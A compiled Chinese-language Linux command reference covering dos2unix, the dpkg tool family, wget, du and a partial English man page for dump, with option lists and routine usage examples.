"dos2unix命令" 用来将DOS格式的文本文件转换成UNIX格式的(DOS/MAC to UNIX text file format converter)。DOS下的文本文件是以`\r\n`作为断行标志的,表示成十六进制就是0D 0A。而Unix下的文本文件是以\n作为断行标志的,表示成十六进制就是0A。DOS格式的文本文件在Linux底下,用较低版本的vi打开时行尾会显示`^M`,而且很多命令都无法很好的处理这种格式的文件,如果是个shell脚本,。而Unix格式的文本文件在Windows下用Notepad打开时会拼在一起显示。因此产生了两种格式文件相互转换的需求,对应的将UNIX格式文本文件转成成DOS格式的是unix2dos命令。

</div>

!! 语法

:<div>


```
dos2unix [-hkqV] [-c convmode] [-o file ...] [-n infile outfile ...]
```

</div>

!! 选项

:<div>


```
-k:保持输出文件的日期不变
-q:安静模式,不提示任何警告信息。
-V:查看版本
-c:转换模式,模式有:ASCII, 7bit, ISO, Mac, 默认是:ASCII。
-o:写入到源文件
-n:写入到新文件
```

</div>

!! 参数

:<div>


参数:需要转换到文件。

</div>

!! 实例

:<div>


最简单的用法就是dos2unix直接跟上文件名:

```
dos2unix file
```

如果一次转换多个文件,把这些文件名直接跟在dos2unix之后。(注:也可以加上`-o`参数,也可以不加,效果一样)

```
dos2unix file1 file2 file3
dos2unix -o file1 file2 file3
```

上面在转换时,都会直接在原来的文件上修改,如果想把转换的结果保存在别的文件,而源文件不变,则可以使用`-n`参数。

```
dos2unix oldfile newfile
```

如果要保持文件时间戳不变,加上`-k`参数。所以上面几条命令都是可以加上`-k`参数来保持文件时间戳的。

```
dos2unix -k file
dos2unix -k file1 file2 file3
dos2unix -k -o file1 file2 file3
dos2unix -k -n oldfile newfile
```

转换当前目录下所有文件

```
find -type f | xargs dos2unix
```

<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
dpkg
===

Debian Linux系统上安装、创建和管理软件包

</div>

!! 补充说明

:<div>


"dpkg命令" 是Debian Linux系统用来安装、创建和管理软件包的实用工具。

</div>

!! 语法  

:<div>


```
dpkg(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-i:安装软件包;
-r:删除软件包;
-P:删除软件包的同时删除其配置文件;
-L:显示于软件包关联的文件;
-l:显示已安装软件包列表;
--unpack:解开软件包;
-c:显示软件包内文件列表;
--confiugre:配置软件包。
```

</div>

!! 参数  

:<div>


Deb软件包:指定要操作的.deb软件包。

</div>

!! 实例  

:<div>


```
dpkg -i package.deb     #安装包
dpkg -r package         #删除包
dpkg -P package         #删除包(包括配置文件)
dpkg -L package         #列出与该包关联的文件
dpkg -l package         #显示该包的版本
dpkg --unpack package.deb  #解开deb包的内容
dpkg -S keyword            #搜索所属的包内容
dpkg -l                    #列出当前已安装的包
dpkg -c package.deb        #列出deb包的内容
dpkg --configure package   #配置包
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
dpkg-deb
===

Debian Linux下的软件包管理工具

</div>

!! 补充说明

:<div>


"dpkg-deb命令" 是Debian Linux下的软件包管理工具,它可以对软件包执行打包和解包操作以及提供软件包信息。

</div>

!! 语法  

:<div>


```
dpkg-deb(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-c:显示软件包中的文件列表;
-e:将主控信息解压;
-f:把字段内容打印到标准输出;
-x:将软件包中的文件释放到指定目录下;
-X:将软件包中的文件释放到指定目录下,并显示释放文件的详细过程;
-w:显示软件包的信息;
-l:显示软件包的详细信息;
-R:提取控制信息和存档的清单文件;
-b:创建debian软件包。
```

</div>

!! 参数  

:<div>


文件:指定要操作的“.deb”软件包的全名或软件名。

</div>

!! 实例  

:<div>


解压程序文件:

```
dpkg-deb -x drcom-pum_1.0-0ubuntu1~ppa1~jaunty1_i386.deb drcom
```

解压控制文件:

```
dpkg-deb -e drcom-pum_1.0-0ubuntu1~ppa1~jaunty1_i386.deb drcom/DEBIAN
```

打包生成deb文件:

```
dpkg-deb -b drcom drcom_1.4.8.2_i386.deb
```

查询deb包中的文件内容:

```
dpkg-deb -c demo.deb
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
dpkg-divert
===

Debian Linux中创建并管理一个转向列表

</div>

!! 补充说明

:<div>


"dpkg-divert命令" 是Debian Linux中创建并管理一个转向(diversion)列表,其使得安装文件的默认位置失效的工具。

</div>

!! 语法  

:<div>


```
dpkg-divert(选项)(参数)
```

</div>

!! 选项  

:<div>


```
--add:添加一个转移文件;
--remove:删除一个转移文件;
--list:列出匹配的转移;
--truename:对应转移文件真实文件名;
--quidet:安静模式。
```

</div>

!! 参数  

:<div>


文件:指定转移文件名。

</div>

!! 实例  

:<div>


指定软件包wibble安装时,写入`/usr/bin/example.foo`,而不是`/usr/bin/example`:

```
dpkg-divert --package wibble --divert /usr/bin/example.foo --rename /usr/bin/example
```

指定软件包wibble安装时,删除对`/usr/bin/example`的转移修改:

```
dpkg-divert --package wibble --rename --remove /usr/bin/example
```

删除对`/usr/bin/example`的转移修改:

```
dpkg-divert --rename --remove /usr/bin/example
```

添加一个软件包安装时,写入`/usr/bin/example.foo`,而不是`/usr/bin/example`的修改:

```
dpkg-divert --divert /usr/bin/example.foo --rename /usr/bin/example
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
dpkg-preconfigure
===

Debian Linux中软件包安装之前询问问题

</div>

!! 补充说明

:<div>


"dpkg-preconfigure命令" 用于在Debian Linux中软件包安装之前询问问题。

</div>

!! 语法  

:<div>


```
dpkg-preconfigure(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-f:选择使用的前端;
-p:感兴趣的最低的优先级问题;
--apt:在apt模式下运行。
```

</div>

!! 参数  

:<div>


软件包:指定“.deb”软件包。

</div>

!! 实例  

:<div>


导入debconf模板:

```
dpkg-preconfigure /var/cache/apt/archives/mysql-server-5.5*.deb
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
dpkg-query
===

Debian Linux中软件包的查询工具

</div>

!! 补充说明

:<div>


"dpkg-query命令" 是Debian Linux中软件包的查询工具,它从dpkg软件包数据库中查询并辨识软件包的信息。

</div>

!! 语法  

:<div>


```
dpkg-query(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-l:列出符合匹配模式的软件包;
-s:查询软件包的状态信息;
-L:显示软件包所安装的文件列表;
-S:从安装的软件包中查询文件;
-w:显示软件包信息;
-c:显示软件包的控制文件路径;
-p:显示软件包的细节。
```

</div>

!! 参数  

:<div>


软件包名称:指定需要查询的软件包。

</div>

!! 实例  

:<div>


查找文件file1在哪个包里安装:

```
dpkg-query -S file1
```

列出ubuntu下所安装软件列表:

```
dpkg-query -W --showformat='${Package} ${Version}\n' > filename
```

查看软件包详细信息:

```
dpkg-query -s capistrano
```

查看软件包安装时安装到系统的文件列表:

```
dpkg-query -L capistrano
```

列出所有安装的包:

```
dpkg-query -l
```

查看软件包的确切状态(是否安装)以及版本号:

```
dpkg-query -W -f='${Status} ${Version}\n' apache-perl
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
dpkg-reconfigure
===

Debian Linux中重新配制一个已经安装的软件包

</div>

!! 补充说明

:<div>


"dpkg-reconfigure命令" 是Debian Linux中重新配置已经安装过的软件包,可以将一个或者多个已安装的软件包传递给此指令,它将询问软件初次安装后的配置问题。

当用户需要再次对软件包配置的时候,可以使用dpkg-reconfigure命令来对指定的软件包进行配置。

</div>

!! 语法  

:<div>


```
dpkg-reconfigure(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:重新配置所有的软件包;
-u或--unseen-only:仅显示未提过的问题;
--default-priority:使用默认优先级,而非“低”级;
--force:强制执行操作,需谨慎使用此选项;
--no-reload:不要轻易的重装模板(使用时请慎重考虑);
-f或--frontend:指定 debconf 前端界面;
-p或--priority:指定要显示的问题的最优先级;
--terse:开启简要模式。

```

</div>

!! 参数  

:<div>


软件包名:需要重新配置的已安装的软件包。

</div>

!! 实例  

:<div>


用于配置语言:

```
sudo dpkg-reconfigure locales
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
dpkg-split
===

Debian Linux中将大软件包分割成小包

</div>

!! 补充说明

:<div>


"dpkg-split命令" 用来将Debian Linux中的大软件包分割成小软件包,它还能够将已分割的文件进行合并。

</div>

!! 语法  

:<div>


```
dpkg-split(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-S:设置分割后的每个小文件最大尺寸(以字节为单位);
-s:分割软件包;
-j<分块文件><分块文件>:把各个分块合并到一起;
-I<分块文件>:显示分块文件的相关信息;
-l:列出不匹配的部分;
-dscard<文件名>:忽略不匹配的部分。
```

</div>

!! 参数  

:<div>


软件包:指定需要分割的“.deb”软件包。

</div>

!! 实例  

:<div>


把foo.deb分割出N个大小为460KB的文件:

```
dpkg-split -s foo.deb
```

合并分割文件:

```
dpkg-split -j "foo*"
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
dpkg-statoverride
===

Debian Linux中覆盖文件的所有权和模式

</div>

!! 补充说明

:<div>


"dpkg-statoverride命令" 用于Debian Linux中覆盖文件的所有权和模式,让dpkg于包安装时使得文件所有权与模式失效。

</div>

!! 语法  

:<div>


```
dpkg-statoverride(选项)
```

</div>

!! 选项  

:<div>


```
-add:为文件添加一个改写;
--remove:为文件删除一个改写;
--list:显示所有改写列表;
--update:如果文件存在,则立刻执行改写操作。
```

</div>

!! 实例  

:<div>


修改文件夹的权限属性:

```
sudo dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios3
```

强制修改文件夹的权限属性:

```
sudo dpkg-statoverride --force --update --add root sasl 755 /var/spool/postfix/var/run/saslauthd
```

将文件从数据库中删除:

```
sudo dpkg-statoverride --remove /usr/bin/wall
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
dpkg-trigger
===

Debian Linux下的软件包触发器

</div>

!! 补充说明

:<div>


"dpkg-trigger命令" 是Debian Linux下的软件包触发器。

</div>

!! 语法  

:<div>


```
dpkg-trigger(选项)(参数)
```

</div>

!! 选项  

:<div>


```
--check-supported:检查运行的dpkg是否支持触发器,返回值为0,则支持触发器。
--help:显示帮助信息;
--admindir=<目录>:设置dpkg数据库所在的目录;
--no-act:仅用于测试,不执行任何操作;
--by-package=<软件包>:覆盖触发器等待者。
```

</div>

!! 参数  

:<div>


触发器名:指定触发器名称。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
;''wget''命令用来从指定的URL下载文件。
:wget非常稳定,它在带宽很窄的情况下和不稳定网络中有很强的适应性,如果是由于网络的原因下载失败,wget会不断的尝试,直到整个文件下载完毕。
:如果是服务器打断下载过程,它会再次联到服务器上从停止的地方继续下载。
:这对从那些限定了链接时间的服务器上下载大文件非常有用。

!!选项
:<pre>

```bash

-a<日志文件>:在指定的日志文件中记录资料的执行过程;
-A<后缀名>:指定要下载文件的后缀名,多个后缀名之间使用逗号进行分隔;
-b:进行后台的方式运行wget;
-B<连接地址>:设置参考的连接地址的基地地址;
-c:继续执行上次终端的任务;
-C<标志>:设置服务器数据块功能标志on为激活,off为关闭,默认值为on;
-d:调试模式运行指令;
-D<域名列表>:设置顺着的域名列表,域名之间用“,”分隔;
-e<指令>:作为文件“.wgetrc”中的一部分执行指定的指令;
-h:显示指令帮助信息;
-i<文件>:从指定文件获取要下载的URL地址;
-l<目录列表>:设置顺着的目录列表,多个目录用“,”分隔;
-L:仅顺着关联的连接;
-r:递归下载方式;
-nc:文件存在时,下载文件不覆盖原有文件;
-nv:下载时只显示更新和出错信息,不显示指令的详细执行过程;
-q:不显示指令执行过程;
-nh:不查询主机名称;
-v:显示详细执行过程;
-V:显示版本信息;
--passive-ftp:使用被动模式PASV连接FTP服务器;
--follow-ftp:从HTML文件中下载FTP连接文件。
```
</pre>

!!实例<pre>

```bash



#使用wget下载单个文件

wget http://www.linuxde.net/testfile.zip
#以下的例子是从网络下载一个文件并保存在当前目录,在下载的过程中会显示进度条,包含(下载完成百分比,已经下载的字节,当前下载速度,剩余下载时间)。

#下载并以不同的文件名保存

wget -O wordpress.zip http://www.linuxde.net/download.aspx?id=1080
#wget默认会以最后一个符合/的后面的字符来命令,对于动态链接的下载通常文件名会不正确。

#错误:下面的例子会下载一个文件并以名称download.aspx?id=1080保存:

wget http://www.linuxde.net/download?id=1
#即使下载的文件是zip格式,它仍然以download.php?id=1080命令。

#正确:为了解决这个问题,我们可以使用参数-O来指定一个文件名:

wget -O wordpress.zip http://www.linuxde.net/download.aspx?id=1080

#wget限速下载

wget --limit-rate=300k http://www.linuxde.net/testfile.zip

#当你执行wget的时候,它默认会占用全部可能的宽带下载。但是当你准备下载一个大文件,而你还需要下载其它文件时就有必要限速了。

#使用wget断点续传

wget -c http://www.linuxde.net/testfile.zip
#使用wget -c重新启动下载中断的文件,对于我们下载大文件时突然由于网络等原因中断非常有帮助,我们可以继续接着下载而不是重新下载一个文件。需要继续中断的下载时可以使用-c参数。

#使用wget后台下载

wget -b http://www.linuxde.net/testfile.zip

Continuing in background, pid 1840.
Output will be written to `wget-log'.
#对于下载非常大的文件的时候,我们可以使用参数-b进行后台下载,你可以使用以下命令来察看下载进度:

tail -f wget-log

#伪装代理名称下载

wget --user-agent="Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16" http://www.linuxde.net/testfile.zip

#有些网站能通过根据判断代理名称不是浏览器而拒绝你的下载请求。不过你可以通过--user-agent参数伪装。

#测试下载链接

#当你打算进行定时下载,你应该在预定时间测试下载链接是否有效。我们可以增加--spider参数进行检查。

wget --spider URL
#如果下载链接正确,将会显示:

Spider mode enabled. Check if remote file exists.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Remote file exists and could contain further links,
but recursion is disabled -- not retrieving.
#这保证了下载能在预定的时间进行,但当你给错了一个链接,将会显示如下错误:

wget --spider url
Spider mode enabled. Check if remote file exists.
HTTP request sent, awaiting response... 404 Not Found
Remote file does not exist -- broken link!!!
#你可以在以下几种情况下使用--spider参数:

#定时下载之前进行检查
#间隔检测网站是否可用
#检查网站页面的死链接
#增加重试次数

wget --tries=40 URL
#如果网络有问题或下载一个大文件也有可能失败。wget默认重试20次连接下载文件。如果需要,你可以使用--tries增加重试次数。

下载多个文件

wget -i filelist.txt
#首先,保存一份下载链接文件:

cat > filelist.txt
url1
url2
url3
url4
#接着使用这个文件和参数-i下载。

#镜像网站

wget --mirror -p --convert-links -P ./LOCAL URL
#下载整个网站到本地。

#--miror开户镜像下载。
#-p下载所有为了html页面显示正常的文件。
#--convert-links下载后,转换成本地的链接。
#-P ./LOCAL保存所有文件和目录到本地指定目录。
#过滤指定格式下载

wget --reject=gif ur
#下载一个网站,但你不希望下载图片,可以使用这条命令。

#把下载信息存入日志文件

wget -o download.log URL
#不希望下载信息直接显示在终端而是在一个日志文件,可以使用。

#限制总下载文件大小

wget -Q5m -i filelist.txt
#当你想要下载的文件超过5M而退出下载,你可以使用。注意:这个参数对单个文件下载不起作用,只能递归下载时才有效。

#下载指定格式文件

wget -r -A.pdf url
#可以在以下情况使用该功能:

# 下载一个网站的所有图片。
# 下载一个网站的所有视频。
# 下载一个网站的所有PDF文件。

# FTP下载

wget ftp-url
wget --ftp-user=USERNAME --ftp-password=PASSWORD url
#可以使用wget来完成ftp链接的下载。

#使用wget匿名ftp下载:

wget ftp-url
#使用wget用户名和密码认证的ftp下载:

wget --ftp-user=USERNAME --ftp-password=PASSWORD url

```
</pre>
!!简介
:<div>
dris
===

显示和清空目录堆栈中的内容

</div>

!! 补充说明

:<div>


"dris命令" 用于显示和清空目录堆栈中的内容。

</div>

!! 语法  

:<div>


```
dris(选项)
```

</div>

!! 选项  

:<div>


```
+n:显示从左边算起第n笔的目录;
-n:显示从右边算起第n笔的目录;
-l:显示目录完整的记录。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>

du命令用于显示目录或文件的大小。

du会显示指定的目录或文件所占用的磁盘空间。

!参数说明:

    * -a或-all 显示目录中个别文件的大小。
    * -b或-bytes 显示目录或文件大小时,以byte为单位。
    * -c或--total 除了显示个别目录或文件的大小外,同时也显示所有目录或文件的总和。
    * -D或--dereference-args 显示指定符号连接的源文件大小。
    * -h或--human-readable 以K,M,G为单位,提高信息的可读性。
    * -H或--si 与-h参数相同,但是K,M,G是以1000为换算单位。
    * -k或--kilobytes 以1024 bytes为单位。
    * -l或--count-links 重复计算硬件连接的文件。
    * -L<符号连接>或--dereference<符号连接> 显示选项中所指定符号连接的源文件大小。
    * -m或--megabytes 以1MB为单位。
    * -s或--summarize 仅显示总计。
    * -S或--separate-dirs 显示个别目录的大小时,并不含其子目录的大小。
    * -x或--one-file-xystem 以一开始处理时的文件系统为准,若遇上其它不同的文件系统目录则略过。
    * -X<文件>或--exclude-from=<文件> 在<文件>指定目录或文件。
    * --exclude=<目录或文件> 略过指定的目录或文件。
    * --max-depth=<目录层数> 超过指定层数的目录后,予以忽略。
    * --help 显示帮助。
    * --version 显示版本信息。
*NAME<pre>
       dump - ext2/3/4 filesystem backup

</pre>
*SYNOPSIS<pre>
       dump  [-level#]  [-ackMnqSuv]  [-A  file] [-B records] [-b blocksize] [-d density] [-D file] [-e inode numbers] [-E file] [-f
       file] [-F script] [-h level] [-I nr errors] [-jcompression level] [-L label] [-Q file] [-s feet] [-T date]  [-y]  [-zcompres‐
       sion level] files-to-dump

       dump [-W | -w]

</pre>
*DESCRIPTION<pre>

       Dump  examines files on an ext2/3/4 filesystem and determines which files need to be backed up. These files are copied to the
       given disk, tape or other storage medium for safe keeping (see the -f option below for doing remote backups). A dump that  is
       larger  than the output medium is broken into multiple volumes. On most media the size is determined by writing until an end-
       of-media indication is returned.

       On media that cannot reliably return an end-of-media indication (such as some cartridge tape drives), each  volume  is  of  a
       fixed  size;  the  actual  size is determined by specifying cartridge media, or via the tape size, density and/or block count
       options below. By default, the same output file name is used for each volume after prompting the operator to change media.

       files-to-dump is either a mountpoint of a filesystem or a list of files and directories to be backed up  as  a  subset  of  a
       filesystem. In the former case, either the path to a mounted filesystem or the device of an unmounted filesystem can be used.
       In the latter case, certain restrictions are placed on the backup: -u is not allowed, the only dump level that  is  supported
       is 0 and all the files and directories must reside on the same filesystem.

</pre>

*OPTIONS<pre>

       The following options are supported by dump:

       -level
              The dump level (any integer). A level 0, full backup, specified by -0 guarantees the entire file system is copied (but
              see also the -h option below). A level number above 0, incremental backup, tells dump to copy all files new  or  modi‐
              fied  since  the  last  dump  of a lower level. The default level is 0. Historically only levels 0 to 9 were usable in
              dump, this version is able to understand any integer as a dump level.

       -a     “auto-size”. Bypass all tape length calculations, and write until an end-of-media indication is returned.  This  works
              best for most modern tape drives, and is the default. Use of this option is particularly recommended when appending to
              an existing tape, or using a tape drive with hardware compression (where you can never be sure about  the  compression
              ratio).

       -A archive_file
              Archive a dump table-of-contents in the specified archive_file to be used by restore(8) to determine whether a file is
              in the dump file that is being restored.

       -b blocksize
              The number of kilobytes per dump record. The default blocksize is 10, unless the -d option has been used to specify  a
              tape  density  of  6250BPI or more, in which case the default blocksize is 32. Th maximal value is 1024.  Note however
              that, since the IO system slices all requests into chunks of MAXBSIZE (which can be as low as 64kB), you  can  experi‐
              ence problems with dump(8) and restore(8) when using a higher value, depending on your kernel and/or libC versions.

       -B records
              The  number of 1 kB blocks per volume. Not normally required, as dump can detect end-of-media. When the specified size
              is reached, dump waits for you to change the volume.  This option overrides the calculation  of  tape  size  based  on
              length  and  density.  If compression is on this limits the size of the compressed output per volume.  Multiple values
              may be given as a single argument separated by commas.  Each value will be used for  one  dump  volume  in  the  order
              listed;  if  dump  creates more volumes than the number of values given, the last value will be used for the remaining
              volumes. This is useful for filling up already partially filled media (and then continuing with full size  volumes  on
              empty media) or mixing media of different sizes.

       -c     Change the defaults for use with a cartridge tape drive, with a density of 8000 bpi, and a length of 1700 feet. Speci‐
              fying a cartridge drive overrides the end-of-media detection.

       -d density
              Set tape density to density.  The default is 1600BPI. Specifying a tape density overrides the end-of-media detection.

       -D file
              Set the path name of the file storing the information about the previous full and incremental dumps. The default loca‐
              tion is /etc/dumpdates.

       -e inodes
              Exclude  inodes from the dump. The inodes parameter is a comma separated list of inode numbers (you can use stat(1) to
              find the inode number for a file or directory).

       -E file
              Read list of inodes to be excluded from the dump from the text file file.  The file file should be  an  ordinary  file
              containing inode numbers separated by newlines.

       -f file
              Write  the  backup  to file; file may be a special device file like /dev/st0 (a tape drive), /dev/rsd1c (a floppy disk
              drive), an ordinary file, or - (the standard output). Multiple file names may be given as a single argument  separated
              by  commas. Each file will be used for one dump volume in the order listed; if the dump requires more volumes than the
              number of names given, the last file name will used for all remaining volumes after prompting for  media  changes.  If
              the  name  of  the  file  is  of the form host:file or user@host:file dump writes to the named file on the remote host
              (which should already exist, dump doesn't create a new remote file) using rmt(8).  The default path name of the remote
              rmt(8) program is /etc/rmt; this can be overridden by the environment variable RMT.

       -F script
              Run  script  at  the  end  of  each tape (except for the last one).  The device name and the current volume number are
              passed on the command line. The script must return 0 if dump should continue without asking the  user  to  change  the
              tape, 1 if dump should continue but ask the user to change the tape. Any other exit code will cause dump to abort. For
              security reasons, dump reverts back to the real user ID and the real group ID before running the script.

       -h level
              Honor the user nodump flag UF_NODUMP only for dumps at or above the given level.  The default honor  level  is  1,  so
              that incremental backups omit such files but full backups retain them.

       -I nr errors
              By  default, dump will ignore the first 32 read errors on the file system before asking for operator intervention. You
              can change this using this flag to any value. This is useful when running dump on  an  active  filesystem  where  read
              errors simply indicate an inconsistency between the mapping and dumping passes.

              A value of 0 means that all read errors will be ignored.

       -jcompression level
              Compress  every block to be written on the tape using bzlib library. This option will work only when dumping to a file
              or pipe or, when dumping to a tape drive, if the tape drive is capable of writing variable  length  blocks.  You  will
              need at least the 0.4b24 version of restore in order to extract compressed tapes. Tapes written using compression will
              not be compatible with the BSD tape format. The (optional) parameter specifies the compression level bzlib  will  use.
              The default compression level is 2. If the optional parameter is specified, there should be no white space between the
              option letter and the parameter.

       -k     Use Kerberos authentication to talk to remote tape servers. (Only available if this option was enabled when  dump  was
              compiled.)

       -L label
              The user-supplied text string label is placed into the dump header, where tools like restore(8) and file(8) can access
              it. Note that this label is limited to be at most LBLSIZE (currently 16) characters, which must include the  terminat‐
              ing \0.

       -m     If  this  flag  is  specified, dump will optimise the output for inodes having been changed but not modified since the
              last dump ('changed' and 'modified' have the meaning defined in stat(2) ). For those inodes, dump will save  only  the
              metadata,  instead  of  saving  the  entire inode contents.  Inodes which are either directories or have been modified
              since the last dump are saved in a regular way. Uses of this flag must be consistent, meaning that either  every  dump
              in an incremental dump set have the flag, or no one has it.

              If  you  use this option, be aware that many programs that unpack files from archives (e.g. tar, rpm, unzip, dpkg) may
              set files' mtimes to dates in the past.  Files installed in this way may not be dumped correctly using  "dump  -m"  if
              the modified mtime is earlier than the previous level dump.

              Tapes  written  using such 'metadata only' inodes will not be compatible with the BSD tape format or older versions of
              restore.

       -M     Enable the multi-volume feature. The name specified with f is treated as a prefix and dump writes in sequence to pre‐
              fix 001,  prefix 002  etc.  This can be useful when dumping to files on an ext2/3/4 partition, in order to bypass the
              2GB file size limitation.

       -n     Whenever dump requires operator attention, notify all operators in the group operator by means similar to a wall(1).

       -q     Make dump abort immediately whenever operator attention is required, without prompting in case of write  errors,  tape
              changes etc.

       -Q file
              Enable  the  Quick  File  Access support. Tape positions for each inode are stored into the file file which is used by
              restore (if called with parameter -Q and the filename) to directly position the tape at the file restore is  currently
              working on. This saves hours when restoring single files from large backups, saves the tapes and the drive's head.

              It  is  recommended  to  set  up  the  st  driver to return logical tape positions rather than physical before calling
              dump/restore with parameter -Q.  Since not all tape devices support physical tape positions those tape devices  return
              an  error  during  dump/restore  when  the st driver is set to the default physical setting.  Please see the st(4) man
              page, option MTSETDRVBUFFER , or the mt(1) man page, on how to set the driver to return logical tape positions.

              Before calling restore with parameter -Q, always make sure the st driver is set to return the same type of tape  posi‐
              tion used during the call to dump.  Otherwise restore may be confused.

              This option can be used when dumping to local tapes (see above) or to local files.

       -s feet
              Attempt to calculate the amount of tape needed at a particular density. If this amount is exceeded, dump prompts for a
              new tape. It is recommended to be a bit conservative on this option. The default tape length is 2300 feet.  Specifying
              the tape size overrides end-of-media detection.

       -S     Size estimate. Determine the amount of space that is needed to perform the dump without actually doing it, and display
              the estimated number of bytes it will take. This is useful with incremental dumps to determine  how  many  volumes  of
              media will be needed.

       -T date
              Use the specified date as the starting time for the dump instead of the time determined from looking in /etc/dumpdates
              .  The format of date is the same as that of ctime(3) followed by an rfc822 timezone specification: either a  plus  or
              minus  sign  followed  by  two  digits for the number of hours and two digits for the minutes.  For example, -0800 for
              eight hours west of Greenwich or +0230 for two hours and a half east of Greenwich. This  timezone  offset  takes  into
              account  daylight  savings  time  (if applicable to the timezone): UTC offsets when daylight savings time is in effect
              will be different than offsets when daylight savings time is not in effect. For backward compatibility, if no timezone
              is specified, a local time is assumed.  This option is useful for automated dump scripts that wish to dump over a spe‐
              cific period of time. The -T option is mutually exclusive from the -u option.

       -u     Update the file /etc/dumpdates after a successful dump. The format of /etc/dumpdates is readable by people, consisting
              of  one  free  format  record  per  line: filesystem name, increment level and ctime(3) format dump date followed by a
              rfc822 timezone specification (see the -u option for details). If no timezone offset is specified,  times  are  inter‐
              preted  as  local.  Whenever  the file is written, all dates in the file are converted to the local time zone, without
              changing the UTC times. There may be only one entry per filesystem at each  level.  The  file  /etc/dumpdates  may  be
              edited to change any of the fields, if necessary.

       -v     The -v (verbose) makes dump to print extra information which could be helpful in debug sessions.

       -W     Dump tells the operator what file systems need to be dumped. This information is gleaned from the files /etc/dumpdates
              and /etc/fstab.  The -W option causes dump to print out, for all file systems in /etc/dumpdates , and recognized  file
              systems in /etc/mtab and /etc/fstab.  the most recent dump date and level, and highlights those that should be dumped.
              If the -W option is set, all other options are ignored, and dump exits immediately.

       -w     Is like -W, but prints only recognized filesystems in /etc/mtab and /etc/fstab which need to be dumped.

       -y     Compress every block to be written to the tape using the lzo library.  This doesn't  compress  as  well  as  the  zlib
              library  but  it's  much faster.  This option will work only when dumping to a file or pipe or, when dumping to a tape
              drive, if the tape drive is capable of writing variable length blocks.  You will need at least the 0.4b34  version  of
              restore in order to extract compressed tapes. Tapes written using compression will not be compatible with the BSD tape
              format.

       -zcompression level
              Compress every block to be written on the tape using zlib library. This option will work only when dumping to  a  file
              or  pipe  or,  when  dumping to a tape drive, if the tape drive is capable of writing variable length blocks. You will
              need at least the 0.4b22 version of restore in order to extract compressed tapes. Tapes written using compression will
              not  be  compatible  with the BSD tape format. The (optional) parameter specifies the compression level zlib will use.
              The default compression level is 2. If the optional parameter is specified, there should be no white space between the
              option letter and the parameter.

       Dump  requires operator intervention on these conditions: end of tape, end of dump, tape write error, tape open error or disk
       read error (if there is more than a threshold of nr errors). In addition to alerting all operators implied  by  the  -n  key,
       dump  interacts  with  the  operator  on dump's control terminal at times when dump can no longer proceed, or if something is
       grossly wrong. All questions dump poses must be answered by typing “yes” or “no”, appropriately.

       Since making a dump involves a lot of time and effort for full dumps, dump checkpoints itself at the start of each tape  vol‐
       ume.  If  writing  that volume fails for some reason, dump will, with operator permission, restart itself from the checkpoint
       after the old tape has been rewound and removed, and a new tape has been mounted.

       Dump tells the operator what is going on at periodic intervals, including usually low estimates of the number  of  blocks  to
       write,  the  number of tapes it will take, the time to completion, and the time to the tape change. The output is verbose, so
       that others know that the terminal controlling dump is busy, and will be for some time.

       In the event of a catastrophic disk event, the time required to restore all the necessary backup tapes or files to  disk  can
       be kept to a minimum by staggering the incremental dumps. An efficient method of staggering incremental dumps to minimize the
       number of tapes follows:

       —      Always start with a level 0 backup, for example:
                     /sbin/dump -0u -f /dev/st0 /usr/src

              This should be done at set intervals, say once a month or once every two months, and on a set of fresh tapes  that  is
              saved forever.

       —      After a level 0, dumps of active file systems are taken on a daily basis, with this sequence of dump levels:
                     3 2 5 4 7 6 9 8 9 9 ...

              For  the  daily dumps, it should be possible to use a fixed number of tapes for each day, used on a weekly basis. Each
              week, a level 1 dump is taken, and the daily Hanoi sequence repeats beginning with 3. For weekly dumps, another  fixed
              set of tapes per dumped file system is used, also on a cyclical basis.

       After several months or so, the daily and weekly tapes should get rotated out of the dump cycle and fresh tapes brought in.

       Another  backup strategy is the Tower of Hanoi sequence, which reuses older tapes in a way that for newer dates the available
       restore points are more frequent, then for older dates  (see  http://en.wikipedia.org/wiki/Backup_rotation_scheme  for  addi‐
       tional information).

       (The 4.3BSD option syntax is implemented for backward compatibility but is not documented here.)

</pre>


*ENVIRONMENT<pre>
       TAPE   If  no  -f  option  was specified, dump will use the device specified via TAPE as the dump device.  TAPE may be of the
              form tapename, host:tapename, or user@host:tapename.

       RMT    The environment variable RMT will be used to determine the pathname of the remote rmt(8) program.

       RSH    Dump uses the contents of this variable to determine the name of the remote shell command to  use  when  doing  remote
              backups  (rsh,  ssh  etc.). If this variable is not set, rcmd(3) will be used, but only root will be able to do remote
              backups.

</pre>
*FILES<pre>
       /dev/st0
              default tape unit to dump to

       /etc/dumpdates
              dump date records

       /etc/fstab
              dump table: file systems and frequency

       /etc/mtab
              dump table: mounted file systems

       /etc/group
              to find group operator

</pre>
*SEE ALSO<pre>
       fstab(5), restore(8), rmt(8)

</pre>
*DIAGNOSTICS<pre>
       Many, and verbose.

</pre>
*COMPATIBILITY<pre>
